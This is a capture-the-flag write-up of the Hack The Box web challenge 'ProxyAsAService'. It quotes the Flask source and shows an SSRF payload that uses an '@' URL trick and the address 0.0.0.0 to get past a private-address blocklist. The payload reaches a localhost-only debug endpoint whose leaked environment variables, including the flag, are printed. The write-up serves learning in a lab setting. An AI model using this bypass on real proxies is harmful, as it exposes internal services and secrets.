ProxyAsAService
Posted on Sat 28 December 2024 in HTB challenge
This is a writeup of the ProxyAsAService challenge which is a web challenge from Hack The Box.
Flag in environment variable
see Dockerfile
# Place flag in environ
ENV FLAG=HTB{f4k3_fl4g_f0r_t3st1ng}
ENV can be read with debug endpoint
see routes.py
@debug.route('/environment', methods=['GET'])
@is_from_localhost
def debug_environment():
environment_info = {
'Environment variables': dict(os.environ),
'Request headers': dict(request.headers)
}
return jsonify(environment_info)
Prefix for debug endpoint
see app.py
app.register_blueprint(debug, url_prefix='/debug')
Service runs on port 1337
see run.py
app.run(host='0.0.0.0', port=1337)
Endpoint for environment
0.0.0.0:1337/debug/environment
Default endpoint
@proxy_api.route('/', methods=['GET', 'POST'])
def proxy():
url = request.args.get('url')
if not url:
cat_meme_subreddits = [
'/r/cats/',
'/r/catpictures',
'/r/catvideos/'
]
random_subreddit = random.choice(cat_meme_subreddits)
return redirect(url_for('.proxy', url=random_subreddit))
target_url = f'http://{SITE_NAME}{url}'
response, headers = proxy_req(target_url)
return Response(response.content, response.status_code, headers.items())
Runs proxy_req
with http://redit.comOUR_INPUT
If OUR_INPUT starts with @ reddit.com is treated as username
proxy_req
def proxy_req(url):
method = request.method
headers = {
key: value for key, value in request.headers if key.lower() in ['x-csrf-token', 'cookie', 'referer']
}
data = request.get_data()
response = requests.request(
method,
url,
headers=headers,
data=data,
verify=False
)
if not is_safe_url(url) or not is_safe_url(response.url):
return abort(403)
return response, headers
validated url and response.url against blacklist
RESTRICTED_URLS = ['localhost', '127.', '192.168.', '10.', '172.']
Can use 0.0.0.0
Try to access environment endpoint: http://localhost:1337/?url=@0.0.0.0:1337/debug/environment
And then against "real" server: http://83.136.254.158:51371/?url=@0.0.0.0:1337/debug/environment
{"Environment variables":{"FLAG":"HTB{fl4gs_4s_4_S3rv1c3}","GPG_KEY":"7169605F62C751356D054A26A821E680E5FA6305","HOME":"/root","HOSTNAME":"ng-154938-webproxyasaservicemp-i6eg9-6fd885847b-qhnwk","KUBERNETES_PORT":"tcp://10.128.0.1:443","KUBERNETES_PORT_443_TCP":"tcp://10.128.0.1:443","KUBERNETES_PORT_443_TCP_ADDR":"10.128.0.1","KUBERNETES_PORT_443_TCP_PORT":"443","KUBERNETES_PORT_443_TCP_PROTO":"tcp","KUBERNETES_SERVICE_HOST":"10.128.0.1","KUBERNETES_SERVICE_PORT":"443","KUBERNETES_SERVICE_PORT_HTTPS":"443","LANG":"C.UTF-8","PATH":"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PYTHONDONTWRITEBYTECODE":"1","PYTHON_GET_PIP_SHA256":"45a2bb8bf2bb5eff16fdd00faef6f29731831c7c59bd9fc2bf1f3bed511ff1fe","PYTHON_GET_PIP_URL":"https://github.com/pypa/get-pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-pip.py","PYTHON_PIP_VERSION":"23.2.1","PYTHON_VERSION":"3.12.0","SUPERVISOR_ENABLED":"1","SUPERVISOR_GROUP_NAME":"flask","SUPERVISOR_PROCESS_NAME":"flask","WERKZEUG_SERVER_FD":"3"},"Request headers":{"Accept":"*/*","Accept-Encoding":"gzip, deflate","Connection":"keep-alive","Cookie":"JSESSIONID=AD0009FF788D6E9135E2F61D0FA4B041","Host":"0.0.0.0:1337","User-Agent":"python-requests/2.31.0"}}